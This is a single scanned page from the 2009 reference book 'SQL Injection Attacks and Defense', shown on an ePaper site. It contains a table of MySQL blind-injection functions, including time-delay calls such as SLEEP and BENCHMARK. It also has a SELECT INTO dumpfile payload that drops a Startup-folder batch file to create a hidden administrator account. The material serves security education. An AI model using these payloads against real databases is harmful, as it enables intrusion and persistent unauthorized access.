28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

References • Chapter 10 433<br />

Table 10.13 Blind <strong>SQL</strong> <strong>Injection</strong> Functions<br />

Data<br />

String length<br />

Extract substring from a<br />

given string<br />

String (‘ABC’) representation<br />

with no single quotes<br />

Trigger time delay<br />

IF statement<br />

Query<br />

LENGTH()<br />

SELECT SUBSTR(string, offset, length);<br />

SELECT char(65,66,67);<br />

BENCHMARK(1000000,MD5("HACK"));<br />

# Triggers a measurable time delay<br />

SLEEP(10);<br />

# Triggers a 10-second time delay<br />

(My<strong>SQL</strong> Version 5 <strong>and</strong> later)<br />

SELECT if(1=1,'A','B');<br />

-- returns 'A'<br />

Attacking the Database Server: My<strong>SQL</strong><br />

Unlike Microsoft <strong>SQL</strong> Server, My<strong>SQL</strong> does not contain any built-in procedures for<br />

executing operating system comm<strong>and</strong>s. There are, however, a number of strategies that could<br />

lead to remote system access. This section describes some of the strategies that could be<br />

employed to gain remote code execution <strong>and</strong>/or read <strong>and</strong> write local files.<br />

System Comm<strong>and</strong> Execution<br />

It is possible to execute operating system comm<strong>and</strong>s by creating a malicious script file on<br />

the target server that will be routinely executed. The following syntax is used to write local<br />

files from within My<strong>SQL</strong>:<br />

SELECT 'system_comm<strong>and</strong>s' INTO dumpfile trojanpath<br />

The following statement would create a batch file within the Windows startup directory<br />

designed to add administrative user x with a password of x:<br />

SELECT 'net user x x /add %26%26 net localgroup administrators x /add' into<br />

dumpfile 'c:\\Documents <strong>and</strong> Settings\\All Users\\Start Menu\\Programs<br />

\\Startup\\attack.bat'

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!